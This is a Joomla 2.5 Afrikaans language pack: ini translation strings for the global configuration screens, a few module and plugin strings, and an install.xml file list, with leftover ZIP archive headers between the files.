COM_CONFIG_DATABASE_SETTINGS="Database Instellings" COM_CONFIG_FIELD_DATABASE_NAME_LABEL="Database Naam" COM_CONFIG_FIELD_COOKIE_PATH_LABEL="Koekie Gidspad" COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL="Koekie Domein" COM_CONFIG_FIELD_CACHE_TIME_LABEL="Kas Tyd" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL="SMTP Sekuriteit" COM_CONFIG_FIELD_METALANGUAGE_LABEL="Webwerf Meta Taal" COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL="Aflyn Boodskap" COM_CONFIG_FIELD_SECRET_DESC="Hierdie is 'n outo-genereerde, unieke alfanumeriese kode vir elke Joomla! installasie. Dit word gebruik vir sekuriteits funksies." COM_CONFIG_FIELD_METADESC_LABEL="Webwerf Meta Beskrywing" COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL="SMTP Bediener" COM_CONFIG_FIELD_METAAUTHOR_DESC="Vertoon die outeur meta-merk wanneer artikels besigtig word" COM_CONFIG_FIELD_SEF_URL_LABEL="Soektog Enjin Vriendelike URLs" COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE="AAN - Konservatiewe kasseering" COM_CONFIG_FIELD_VALUE_CACHE_OFF="AF - Kasseering gesper" COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE="AAN - Progressiewe kasseering" COM_CONFIG_FIELD_SECRET_LABEL="Geheim" COM_CONFIG_FIELD_COOKIE_PATH_DESC="Gidspad wat vir die koekies geldig is." COM_CONFIG_FIELD_DATABASE_HOST_LABEL="Bediener" COM_CONFIG_FIELD_DATABASE_TYPE_LABEL="Database Tipe" COM_CONFIG_FIELD_METAAUTHOR_LABEL="Vertoon Outeur Meta-Merk" COM_CONFIG_GLOBAL_CONFIGURATION="Globale Konfigurasie" COM_CONFIG_PERMISSION_SETTINGS="Permissie Instellings" COM_CONFIG_PERMISSIONS="Toestemmings" COM_CONFIG_FIELD_SESSION_TIME_LABEL="Sessie Lewenstyd" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC="Memcache Kompressie" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL="Memcache Kompressie" COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL="Gzip Bladsy Kompressie" COM_CONFIG_FIELD_CACHE_LABEL="Kas" COM_CONFIG_FIELD_FTP_PORT_LABEL="FTP Poort" COM_CONFIG="Konfigurasie Bestuurder" COM_CONFIG_FIELD_FTP_PASSWORD_LABEL="FTP Wagwoord" COM_CONFIG_FIELD_HELP_SERVER_LABEL="Hulp Bediener" COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL="Van e-posadres" COM_CONFIG_FIELD_CACHE_HANDLER_LABEL="Kas Hanteerder" COM_CONFIG_FTP_SETTINGS="FTP Instellings" COM_CONFIG_FIELD_FTP_ROOT_LABEL="FTP Wortel" COM_CONFIG_DEBUG_SETTINGS="Debug Instellings" COM_CONFIG_FTP_SETTINGS="FTP Instellings" COM_CONFIG_FIELD_FORCE_SSL_LABEL="Forseer SSL" COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL="Ontfout Stelsel" COM_CONFIG_LOCATION_SETTINGS="Plek Instellings" COM_CONFIG_FIELD_DEBUG_LANG_LABEL="Ontfout Taal" COM_CONFIG_FIELD_FEED_EMAIL_LABEL="Afvoer e-pos" COM_CONFIG_FIELD_FTP_ENABLE_LABEL="Ontsper FTP" COM_CONFIG_FIELD_FTP_HOST_LABEL="FTP Bediener" COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL="Van Naam" COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL="Databasis Voorvoegsel" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL="Verstek Afvoer Limiet" COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL="Databasis Gebruikernaam" COM_CONFIG_DEBUG_SETTINGS="Ontfout Instellings" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL="Verstek Toegangsvlak" COM_CONFIG_FIELD_FTP_USERNAME_LABEL="FTP Gebruikernaam" COM_CONFIG_FIELD_ERROR_REPORTING_LABEL="Fout Raporteering" COM_CONFIG_FIELD_SESSION_HANDLER_LABEL="Sessie Hanteerder" COM_CONFIG_FIELD_FTP_ROOT_LABEL="FTP Wortel" COM_CONFIG_FIELD_SEF_REWRITE_LABEL="Apache mod_rewrite Herskryf-Enjin" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC="Kies die sekuriteitsmodel wat jou SMTP bediener gebruik." COM_CONFIG_FIELD_FTP_ROOT_LABEL="FTP Wortel" COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL="Sendmail Gidspad" COM_CONFIG_FIELD_METAKEYS_LABEL="Webwerf Meta Sleutelwoorde" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL="Verstek Lys Limiet" COM_CONFIG_FIELD_FTP_PASSWORD_DESC="Tik jou FTP wagwoord hier in" COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL="Verstek Redigeerder" COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL="SMTP Bekragtiging" COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC="Tik die naam van die SMTP bediener hier in." COM_CONFIG_FIELD_LOG_PATH_LABEL="Gidspad na Staaf Vouer" COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE="Kon nie configuration.php onskryfbaar maak nie" COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE="Kon nie configuration.php skryfbaar maak nie." COM_CONFIG_HELPREFRESH_SUCCESS="Die Hulp Webwerwe lys is hernu." COM_CONFIG_FIELD_VALUE_SENDMAIL="Sendmail" COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT="Stelsel Verstek" COM_CONFIG_SEO_SETTINGS="SEO Instellings" COM_CONFIG_SERVER="Bediener" COM_CONFIG_SERVER_SETTINGS="Bediener Instellings" COM_CONFIG_SYSTEM_SETTINGS="Stelsel Instellings" COM_CONFIG_SYSTEM="Stelsel" COM_CONFIG_FIELD_VALUE_MAXIMUM="Maksimum" COM_CONFIG_FIELD_VALUE_SIMPLE="Eenvoudig" COM_CONFIG_FIELD_MAIL_MAILER_LABEL="Posprogram" COM_CONFIG_FIELD_VALUE_NONE="Geen" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC="Tik die wagwoord vir die SMTP bediener in" COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN="Jy kan nie jou eie Super Admin toegangsregte remove nie." COM_CONFIG_ERROR_WRITE_FAILED="Kon nie na die konfigurasie lêer skryf nie" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC="Kies die aantal inhoud items om in die afvoer(e) te vertoon." COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC="Stel die verstek lengte van lysste vir alle gebruikers in die Beheer Paneel" COM_CONFIG_ACTION_ADMIN_DESC="Laat gebruikers in die groep toe om enige aksies oor die hele werf uit te voer ongeag van enige ander toegangsreg-instellings." COM_CONFIG_ACTION_CREATE_DESC="Laat gebruikers in die groep toe om enige inhoud in enige ekstensie te skep." COM_CONFIG_ACTION_DELETE_DESC="Laat gebruikers in die groep toe om enige inhoud te skrap in enige ekstensie." COM_CONFIG_ACTION_EDIT_DESC="Laat gebruikers in die groep toe om enige inhoud in enige ekstensie te redigeer" COM_CONFIG_ACTION_EDITOWN_DESC="Laat gebruikers in die groep toe om enige inhoud wat hulle besit in enige ekstensie te redigeer" COM_CONFIG_ACTION_EDITSTATE_DESC="Laat gebruikers in die groep toe om die state van enige inhoud in enige ekstensie te redigeer" COM_CONFIG_ACTION_LOGIN_ADMIN_DESC="Laat gebruikers in die groep toe om in die agterent administrateur werf in te teken." COM_CONFIG_ACTION_LOGIN_SITE_DESC="Laat gebruikers in die groep toe om in die voorent werf in te teken." COM_CONFIG_ACTION_MANAGE_DESC="Laat gebruikers in die groep toe om toegang tot alle areas in die agterent administrateur-werf te verkry, behalwe die Globale Konfigurasie" COM_CONFIG_ERROR_COMPONENT_ASSET_NOT_FOUND="Die bate vir die komponent kon nie gevind word nie. Toegangsregte is nie gestoor nie." COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE="Die nuwe Hulp Werf lys kon nie gestoor word nie" COM_CONFIG_ERROR_HELPREFRESH_FETCH="Die huidige Hulp Werf lys kon van van die afgeleë bediener onttrek word nie" COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND="Die bate vir globale konfigurasie kon nie gevind word nie. Toegangsregte is nie gestoor nie." COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC="Kies die verstek toegangsvlak vir nuwe inhoud, menu items, en ander items wat op jou werf geskep is." COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC="Kies die verstek teks redigeerder vir jou werf. Geregistreerde Gebruikers sal dit in hulle persoonlike gegewens se voorkeure kan wysig, indien jy hierdie opsie toelaat." COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL="Bediener Tyd Zone" COM_CONFIG_FTP_DETAILS_TIP="Vir die opdateer van jou configuration.php lêer, sal Joomla! hoogs waarskynlik jou FTP rekening gegewens benodig. Tik hulle asseblief in die vorm-velde hieronder." COM_CONFIG_FIELD_CACHE_DESC="Kies of kas ontsper or gesper moet wees." COM_CONFIG_FIELD_CACHE_DESC="Sper of Ontsper die kas en stel die kasseerings-vlak. Konservatiewe vlak: kleiner stelsel kas, Progressiewe vlak (verstek): vinniger, grooter stelsel kas, sluit module verbeeld-kas. Nie gepas vir baie groot webwerwe nie." COM_CONFIG_FIELD_CACHE_HANDLER_DESC="Kies kas hanteerder na ontsper caching. Native caching mechanism is lêer-gebaseer. Maak asseblief seker dat die kas vouers skryfbaar is." COM_CONFIG_FIELD_CACHE_TIME_DESC="Die maksimum tyd in minute om 'n kas lêer te stoor voordat dit vervars word." COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC="Domein om te gebruik vir sessie koekies. Sit 'n '.' voor die domein as die koekie geldig is vir alle sub-domeine." COM_CONFIG_FIELD_DATABASE_HOST_DESC="Die bedienernaam vir jou databasis, wat jy gedurende die installasie aangegee het. Moenie hierdie waarde wysig nie, behalwe as die absoluut nodig is (soos b.v. wanneer jy die databasis na 'n nuwe voorsiener oordra)." COM_CONFIG_FIELD_DATABASE_NAME_DESC="Die bedienernaam vir jou databasis, wat jy gedurende die installasie aangegee het. Moenie hierdie waarde wysig nie, behalwe as die absoluut nodig is (soos b.v. wanneer jy die databasis na 'n nuwe voorsiener oordra)." COM_CONFIG_FIELD_DATABASE_TYPE_DESC="Die databasis tipe in gebruik wat jy gedurende die installasie aangegee het. Moenie hierdie waarde wysig nie, behalwe as die absoluut nodig is (soos b.v. wanneer jy die databasis na 'n nuwe voorsiener oordra)." COM_CONFIG_FIELD_DATABASE_USERNAME_DESC="Die gebruikernaam vir toegang tot jou databasis wat jy gedurende die installasie aangegee het. Moenie hierdie waarde wysig nie, behalwe as die absoluut nodig is (soos b.v. wanneer jy die databasis na 'n nuwe voorsiener oordra)." COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC="Indien ontsper, sal diagnostiese inligting, taal vertalings foute en SQL foute (indien enige) vertoon word. Die inligting sal onderaan elke bladsy in die voorent en agterent vertoon word. Dit is nie raadsaam om dit in Ontfout modus te laat wanneer die werf lewendig is nie." COM_CONFIG_FIELD_ERROR_REPORTING_DESC="Kies die passende raporteerings-vlak uit die aftreklys. Sien die Hulp Skerm vir volle gegewens." COM_CONFIG_FIELD_FEED_EMAIL_DESC="Die RSS en Atom nuusafvoere sluit die outeur se e-posadres in. Kies Outeur e-posadres om elke outeur se e-posadres (van die Gebruiker Bestuurder) in die nuusafvoer te gebruik. Kies Werf e-posadres om die werf se 'E-pos van'- e-posadres vir elke artikel in the sluit." COM_CONFIG_FIELD_FORCE_SSL_DESC="Forseer werf toegang oor SSL (https) vir gekiesde areas. Jy sal nie toegang tot daardie areas sonder SSL kry nie. Let op dat jy eerstens SSL moet ontsper sodat jou bediener van die opsie gebruik kan maak." COM_CONFIG_FIELD_FTP_ENABLE_DESC="Ontsper die ingeboude FTP (File Transfer Protocol) funksie, wat op party bedieners nodig is in plaas van die normale oplaai-funksie van Joomla!" COM_CONFIG_FIELD_FTP_HOST_DESC="Tik die naam in van jou FTP bediener" COM_CONFIG_FIELD_FTP_PORT_DESC="Tik die poort in waardeur FTP toegang sal gee. Die verstek is poort 21." COM_CONFIG_FIELD_FTP_ROOT_DESC="Die gidspad na die wortel-lêergids van die FTP bediener. Die wortel lêergids is die basis lêergids waarheen die FTP bediener toegang toelaat." COM_CONFIG_FIELD_FTP_USERNAME_DESC="Die gebruikernaam vir toegang na die FTP bediener." COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC="kompresseer gebufferde afvoer indien ondersteun." COM_CONFIG_FIELD_HELP_SERVER_DESC="Kies die naam van die hulp bediener van waar jou stelsel die hulp-skerms sal vertoon." COM_CONFIG_FIELD_LOG_PATH_DESC="Vir stawing van Joomla!, gee Asseblief 'n vouernaam aan." COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC="Die e-posadres wat gebruik sal word om werf e-posse mee te stuur" COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC="Die e-posadres naam wat gebruik sal word om werf e-posse mee te stuur" COM_CONFIG_FIELD_MEMCACHE_PORT_DESC="Memkas Bediener Poort" COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL="Memkas Bediener Poort" COM_CONFIG_FIELD_METALANGUAGE_DESC="Sit die gekiesde taal in die werf se metadata." COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC="'n Boodskap wat in die voorent vertoon word wanneer jou werf van lyn af is." COM_CONFIG_FIELD_SEF_SUFFIX_LABEL="Voeg Agtervoegsel na die URL" COM_CONFIG_FIELD_SEF_URL_DESC="Kies of die URL'e optimiseer is vir Soek Engines." COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC="Kies 'n stad in die lys om die datum- en tyd-vertoon te konfigureer." COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC="Tik die gebruikernaam in vir toegang na die SMTP bediener." COM_CONFIG_FIELD_MEMCACHE_HOST_DESC="Memcache Bediener Naam" COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL="Memcache Bediener Naam" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC="Aanhoudende Memcache" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL="Aanhoudende Memcache" COM_CONFIG_FIELD_METADESC_DESC="Gee 'n beskrywing van die gehele Webwerf, sodat dit deur die soek-enjins gebruik kan word. Oor die algemeen is 'n maksimum van 20 woorde optimaal." COM_CONFIG_FIELD_METAKEYS_DESC="Tik die sleutelwoorde en frases in wat jou webwerf die beste beskryf. Hou sleutelwoorde met komma's apart en plaas frases in enkele aanhalingstekens." COM_CONFIG_FIELD_DATABASE_PREFIX_DESC="Die voorvoegsel vir jou werf se databasis wat jy gedurende die installeeringproses aangegee het. Moet dit nie verander nie, behalwe as dit absoluut noodsaaklik is, soos bv. wanneer jy jou databasis na 'n nuwe bediener heen verplaas." COM_CONFIG_FIELD_MAIL_MAILER_DESC="Kies watter e-pos agent jy wil gebruik om e-pos afkomstig van hierdie webwerf mee te lewer." COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC="Voer die gidspad in na die sendmail-program op die bediener." COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC="Kies Ja indien jou SMTP bediener SMTP-bekragtiging benodig." COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC="Voer die poort-nommer van jou SMTP-bediener in. Gebruik 25 vir meeste onveilige bedieners en 465 of 587 vir meeste veilige bedieners." COM_CONFIG_FIELD_SEF_SUFFIX_DESC="Indien Ja, sal die stelsel 'n naskrif agteraan die URL byvoeg, gebaseer op die document tipe." COM_CONFIG_FIELD_SESSION_HANDLER_DESC="Die meganisme wat Joomla! gebruik om gebruikers te indentifiseer nadat hulle m.b.v. nie-permanente koekies vebind het." COM_CONFIG_FIELD_SITE_NAME_DESC="Voer die naam van jou webwerf in. Dit sal in allerhande plekke gebruik word, soos bv. op die Werf van Lyn af bladsy." COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC="Begin alle Bladsy Titels met die werf naam soos in hierdie voorbeeld: My Werf Naam - My Artikel Naam" COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL="Sluit Werfnaam met Bladsytitels in" COM_CONFIG_FIELD_VALUE_AFTER="Na" COM_CONFIG_FIELD_VALUE_BEFORE="Voor" COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC="Laat gebruikers in die groep toe om toegang tot die voorkant werf te kry wanneer die werf van lyn af is." COM_CONFIG_FIELD_SITE_OFFLINE_DESC="Kies of toegang tot die werf-voorkant beskikbaar is. Indien Ja, sal die werf-voorkant die boodskap hier onder vertoon." COM_CONFIG_FIELD_VALUE_DEVELOPMENT="Ontwikkeling" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM="Gebruik pasgemaakte Bookskap" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE="Gebruik Werftaal Verstek Bookskap" COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND="Die Globale Konfigurasie ekstensie kon nie gevind word nie. Teksfilter instellings is nie gestoor nie." COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC="Kies die verstek captcha vir jou werf." COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL="Verstek Captcha" COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST="Pasgemaakte Swartlys" COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST="Verstek Swartlys" COM_CONFIG_FIELD_FILTERS_NO_FILTER="Geen Filtreering nie" COM_CONFIG_FIELD_FILTERS_NO_HTML="Geen HTML nie" COM_CONFIG_FIELD_FILTERS_WHITE_LIST="Witlys" COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC="'n Optionele beeld om te vertoon op die verstek aflyn bladsy" COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL="Aflyn Beeld" COM_CONFIG_TEXT_FILTERS="Teks Filters" COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL="Aflyn Boodskap" COM_CONFIG_TEXT_FILTER_SETTINGS="Teks Filter Instellings" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_CONFIG_TEXT_FILTERS_DESC="Hierdie teksfilter instellings sal op alle teksredigeervelde toegepas word wat deur gebruikers in die gekose groepe bygedra is. .
              Hierdie filtreer-opsies gee meer beheer over die HTML wat jou inhoud-verskaffers bydra. Jy kans so streng of liberaal wees soos jy wil. Die verstek instellings gee goeie beskerming teen algemene HTML-kode webwerf aanvalle." COM_CONFIG_FIELD_SESSION_TIME_DESC="Outomatiese uitlog van 'n Gebruiker na 'n tydsduur van die aangegewe aantal minute. Moenie te hoog stel nie." COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC="Vertoon, aldan nie, 'n frontend boodskap wanneer die werf is van lyn af is. Die pasgemaakte van-lyn-af boodskap gebruik die waardes wat in die 'Pasgemaakte boodskap'-veld gedefineer is. Die taal van die van-lyn-af boodskap is die waarde wat in die werf taal ini-lêer gedefineer is." COM_CONFIG_FIELD_SEF_REWRITE_DESC="Kies om jou bediener se herskryf-enjin te gebruik om URL'e mee te vang wat aan spesifieke voorwaardes voldoen, en hulle te herskryf soos aangedui. Beskikbaar vir IIS 7 en Apache.
              Apache gebruikers!
              Hernoem htaccess.txt na .htaccess
              IIS 7 gebruikers!
              Hernoem web.config.txt na web.config en installeer die IIS URL Rewrite Module voor aktiveering.
              " ; TBT: COM_CONFIG_FIELD_DEBUG_LANG_DESC="Select whether the debugging indicators (**...**) or (??...??) for the Joomla! Language files will be displayed. Debug Language will work without Debug System being activated, but you will not get the additional detailed references that will help you correct any errors." COM_CONFIG_FIELD_METAVERSION_DESC="Vertoon die Joomla! versie nommer in die gegenereerde meta-merk." COM_CONFIG_FIELD_METAVERSION_LABEL="Vertoon Joomla! Versie" PK@y>\/nC  $language/af-ZA/af-ZA.mod_toolbar.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_toolbar.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_TOOLBAR="mod_toolbar" MOD_TOOLBAR_XML_DESCRIPTION="Hierdie Module vertoon die nutsbalk ikone wat gebruik work aksies in die administrator area te beheer." PK@y>\-))language/af-ZA/install.xmlnuW+A Afrikaans (South Africa) af-ZA 2.5.6.2 "31 Jul 2012" Gerrit Hoekstra webmaster@joomla4africa.org http://joomla4africa.org Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved Copyright (C) Afrikaans Translation 2006 - 2012 Gerrit Hoekstra. Alle regte voorbehou. GNU General Public License version 2 or later; see LICENSE.txt Afrikaanse Taalpaket in die vertroulike aanspreeksvorm af-ZA.xml install.xml af-ZA.localise.php af-ZA.com_admin.ini af-ZA.com_admin.sys.ini af-ZA.com_banners.ini af-ZA.com_banners.sys.ini af-ZA.com_cache.ini af-ZA.com_cache.sys.ini af-ZA.com_categories.ini af-ZA.com_categories.sys.ini af-ZA.com_checkin.ini af-ZA.com_checkin.sys.ini af-ZA.com_config.ini af-ZA.com_config.sys.ini af-ZA.com_contact.ini af-ZA.com_contact.sys.ini af-ZA.com_content.ini af-ZA.com_content.sys.ini af-ZA.com_cpanel.ini af-ZA.com_cpanel.sys.ini af-ZA.com_finder.ini af-ZA.com_finder.sys.ini af-ZA.com_installer.ini af-ZA.com_installer.sys.ini af-ZA.com_joomlaupdate.ini af-ZA.com_joomlaupdate.sys.ini af-ZA.com_languages.ini af-ZA.com_languages.sys.ini af-ZA.com_login.ini af-ZA.com_login.sys.ini af-ZA.com_mailto.sys.ini af-ZA.com_media.ini af-ZA.com_media.sys.ini af-ZA.com_menus.ini af-ZA.com_menus.sys.ini af-ZA.com_messages.ini af-ZA.com_messages.sys.ini af-ZA.com_modules.ini af-ZA.com_modules.sys.ini af-ZA.com_newsfeeds.ini af-ZA.com_newsfeeds.sys.ini af-ZA.com_plugins.ini af-ZA.com_plugins.sys.ini af-ZA.com_redirect.ini af-ZA.com_redirect.sys.ini af-ZA.com_search.ini af-ZA.com_search.sys.ini af-ZA.com_templates.ini af-ZA.com_templates.sys.ini af-ZA.com_users.ini af-ZA.com_users.sys.ini af-ZA.com_weblinks.ini af-ZA.com_weblinks.sys.ini af-ZA.com_wrapper.ini af-ZA.com_wrapper.sys.ini af-ZA.ini af-ZA.lib_joomla.ini af-ZA.mod_custom.ini af-ZA.mod_custom.sys.ini af-ZA.mod_feed.ini af-ZA.mod_feed.sys.ini af-ZA.mod_latest.ini af-ZA.mod_latest.sys.ini af-ZA.mod_logged.ini af-ZA.mod_logged.sys.ini af-ZA.mod_login.ini af-ZA.mod_login.sys.ini af-ZA.mod_menu.ini af-ZA.mod_menu.sys.ini af-ZA.mod_multilangstatus.ini af-ZA.mod_multilangstatus.sys.ini af-ZA.mod_popular.ini af-ZA.mod_popular.sys.ini af-ZA.mod_quickicon.ini af-ZA.mod_quickicon.sys.ini af-ZA.mod_status.ini af-ZA.mod_status.sys.ini af-ZA.mod_submenu.ini af-ZA.mod_submenu.sys.ini af-ZA.mod_title.ini af-ZA.mod_title.sys.ini af-ZA.mod_toolbar.ini af-ZA.mod_toolbar.sys.ini af-ZA.mod_version.ini af-ZA.mod_version.sys.ini af-ZA.plg_authentication_gmail.ini af-ZA.plg_authentication_gmail.sys.ini af-ZA.plg_authentication_joomla.ini af-ZA.plg_authentication_joomla.sys.ini af-ZA.plg_authentication_ldap.ini af-ZA.plg_authentication_ldap.sys.ini af-ZA.plg_captcha_recaptcha.ini af-ZA.plg_captcha_recaptcha.sys.ini af-ZA.plg_content_emailcloak.ini af-ZA.plg_content_emailcloak.sys.ini af-ZA.plg_content_finder.ini af-ZA.plg_content_finder.sys.ini af-ZA.plg_content_geshi.ini af-ZA.plg_content_geshi.sys.ini af-ZA.plg_content_joomla.ini af-ZA.plg_content_joomla.sys.ini af-ZA.plg_content_loadmodule.ini af-ZA.plg_content_loadmodule.sys.ini af-ZA.plg_content_pagebreak.ini af-ZA.plg_content_pagebreak.sys.ini af-ZA.plg_content_pagenavigation.ini af-ZA.plg_content_pagenavigation.sys.ini af-ZA.plg_content_vote.ini af-ZA.plg_content_vote.sys.ini af-ZA.plg_editors_codemirror.ini af-ZA.plg_editors_codemirror.sys.ini af-ZA.plg_editors_none.ini af-ZA.plg_editors_none.sys.ini af-ZA.plg_editors_tinymce.ini af-ZA.plg_editors_tinymce.sys.ini af-ZA.plg_editors-xtd_article.ini af-ZA.plg_editors-xtd_article.sys.ini af-ZA.plg_editors-xtd_image.ini af-ZA.plg_editors-xtd_image.sys.ini af-ZA.plg_editors-xtd_pagebreak.ini af-ZA.plg_editors-xtd_pagebreak.sys.ini af-ZA.plg_editors-xtd_readmore.ini af-ZA.plg_editors-xtd_readmore.sys.ini af-ZA.plg_extension_joomla.ini af-ZA.plg_extension_joomla.sys.ini af-ZA.plg_finder_categories.ini af-ZA.plg_finder_categories.sys.ini af-ZA.plg_finder_contacts.ini af-ZA.plg_finder_contacts.sys.ini af-ZA.plg_finder_content.ini af-ZA.plg_finder_content.sys.ini af-ZA.plg_finder_newsfeeds.ini af-ZA.plg_finder_newsfeeds.sys.ini af-ZA.plg_finder_weblinks.ini af-ZA.plg_finder_weblinks.sys.ini af-ZA.plg_quickicon_extensionupdate.ini af-ZA.plg_quickicon_extensionupdate.sys.ini af-ZA.plg_quickicon_joomlaupdate.ini af-ZA.plg_quickicon_joomlaupdate.sys.ini af-ZA.plg_search_categories.ini af-ZA.plg_search_categories.sys.ini af-ZA.plg_search_contacts.ini af-ZA.plg_search_contacts.sys.ini af-ZA.plg_search_content.ini af-ZA.plg_search_content.sys.ini af-ZA.plg_search_newsfeeds.ini af-ZA.plg_search_newsfeeds.sys.ini af-ZA.plg_search_weblinks.ini af-ZA.plg_search_weblinks.sys.ini af-ZA.plg_system_cache.ini af-ZA.plg_system_cache.sys.ini af-ZA.plg_system_debug.ini af-ZA.plg_system_debug.sys.ini af-ZA.plg_system_highlight.ini af-ZA.plg_system_highlight.sys.ini af-ZA.plg_system_languagecode.ini af-ZA.plg_system_languagecode.sys.ini af-ZA.plg_system_languagefilter.ini af-ZA.plg_system_languagefilter.sys.ini af-ZA.plg_system_log.ini af-ZA.plg_system_logout.ini af-ZA.plg_system_logout.sys.ini af-ZA.plg_system_log.sys.ini af-ZA.plg_system_p3p.ini af-ZA.plg_system_p3p.sys.ini af-ZA.plg_system_redirect.ini af-ZA.plg_system_redirect.sys.ini af-ZA.plg_system_remember.ini af-ZA.plg_system_remember.sys.ini af-ZA.plg_system_sef.ini af-ZA.plg_system_sef.sys.ini af-ZA.plg_user_contactcreator.ini af-ZA.plg_user_contactcreator.sys.ini af-ZA.plg_user_joomla.ini af-ZA.plg_user_joomla.sys.ini af-ZA.plg_user_profile.ini af-ZA.plg_user_profile.sys.ini af-ZA.tpl_bluestork.ini af-ZA.tpl_bluestork.sys.ini af-ZA.tpl_hathor.ini af-ZA.tpl_hathor.sys.ini index.html PK@y>\ c-language/af-ZA/af-ZA.plg_system_cache.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_cache.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_CACHE="Stelsel - Kas" PLG_CACHE_XML_DESCRIPTION="Verskaf bladsy kasseering" PK@y>\fYII(language/af-ZA/af-ZA.mod_submenu.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_submenu.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_SUBMENU_LAYOUT_DEFAULT="Verstek" 